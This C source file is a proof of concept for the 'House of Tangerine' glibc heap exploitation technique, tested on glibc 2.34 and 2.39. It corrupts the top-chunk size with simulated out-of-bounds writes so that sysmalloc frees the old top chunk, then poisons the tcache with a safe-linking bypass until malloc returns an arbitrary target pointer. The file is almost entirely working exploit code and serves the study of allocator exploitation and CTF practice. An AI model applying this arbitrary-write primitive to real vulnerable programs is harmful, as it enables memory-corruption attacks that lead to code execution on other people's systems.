#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>

#define SIZE_SZ sizeof(size_t)

#define CHUNK_HDR_SZ (SIZE_SZ*2)
// same for x86_64 and x86
#define MALLOC_ALIGN 0x10L
#define MALLOC_MASK (-MALLOC_ALIGN)

#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESIZE-1)

// fencepost are offsets removed from the top before freeing
#define FENCEPOST (2*CHUNK_HDR_SZ)

#define PROBE (0x20-CHUNK_HDR_SZ)

// size used for poisoned tcache
#define CHUNK_SIZE_1 0x40
#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)

// could also be split into multiple lower size allocations
#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)
#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)

/**
 * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)
 *
 * House of Tangerine is the modernized version of House of Orange
 * and is able to corrupt heap without needing to call free() directly
 *
 * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc
 * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
 *
 * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer
 * by abusing the tcache freelist. (requires heap leak on and after 2.32)
 *
 * this version expects a positive and negative OOB (e.g. BOF)
 * or a positive OOB in editing a previous chunk
 *
 * This version requires 5 (6*) malloc calls and 3 OOB
 *
 *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,
 *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead
 *
 * Special Thanks to pepsipu for creating the challenge "High Frequency Troubles"
 * from Pico CTF 2024 that inspired this exploitation technique
 */
int main() {
  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;
  char win[0x10] = "WIN\0WIN\0WIN\0\x06\xfe\x1b\xe2";
  // disable buffering
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  // check if all chunks sizes are aligned
  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);
  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);

  puts("Constants:");
  printf("chunk header = 0x%lx\n", CHUNK_HDR_SZ);
  printf("malloc align = 0x%lx\n", MALLOC_ALIGN);
  printf("page align = 0x%lx\n", PAGESIZE);
  printf("fencepost size = 0x%lx\n", FENCEPOST);
  printf("size_1 = 0x%lx\n", SIZE_1);

  printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);

  // target is malloc aligned 0x10
  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;

  // probe the current size of the top_chunk,
  // can be skipped if it is already known or predictable
  heap_ptr = malloc(PROBE);
  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];
  printf("first top size = 0x%lx\n", top_size);

  // calculate size_2

  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;
  size_2 &= PAGE_MASK;
  size_2 &= MALLOC_MASK;


  printf("size_2 = 0x%lx\n", size_2);

  // first allocation 
  heap_ptr = malloc(size_2);

  // use BOF or OOB to corrupt the top_chunk
  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];

  top_size = *top_size_ptr;

  printf("first top size = 0x%lx\n", top_size);

  // make sure corrupt top size is page aligned, generally 0x1000
  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599
  new_top_size = top_size & PAGE_MASK;
  *top_size_ptr = new_top_size;
  printf("new first top size = 0x%lx\n", new_top_size);

  // remove fencepost from top_chunk, to get size that will be freed
  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895
  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
  assert(freed_top_size == CHUNK_SIZE_1);

  /*
   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.
   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged
   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
   * we prevent the top_chunk from being merged by lowering its size
   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged
   */

  printf("size_3 = 0x%lx\n", SIZE_3);
  heap_ptr = malloc(SIZE_3);

  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];
  printf("current top size = 0x%lx\n", top_size);

  // make sure corrupt top size is page aligned, generally 0x1000
  new_top_size = top_size & PAGE_MASK;
  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;
  printf("new top size = 0x%lx\n", new_top_size);

  // remove fencepost from top_chunk, to get size that will be freed
  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
  printf("freed top_chunk size = 0x%lx\n", freed_top_size);

  assert(freed_top_size == CHUNK_SIZE_1);

  // this will be our vuln_tcache for tcache poisoning
  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];

  printf("tcache next ptr: 0x%lx\n", vuln_tcache);

  // free the previous top_chunk
  heap_ptr = malloc(SIZE_3);

  // corrupt next ptr into pointing to target
  // use a heap leak to bypass safe linking (GLIBC >= 2.32)
  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);

  // allocate first tcache (corrupt next tcache bin)
  heap_ptr = malloc(SIZE_1);

  // get arbitrary ptr for reads or writes
  heap_ptr = malloc(SIZE_1);

  // proof that heap_ptr now points to the same string as target
  assert((size_t) heap_ptr == target);
  puts((char *) heap_ptr);
}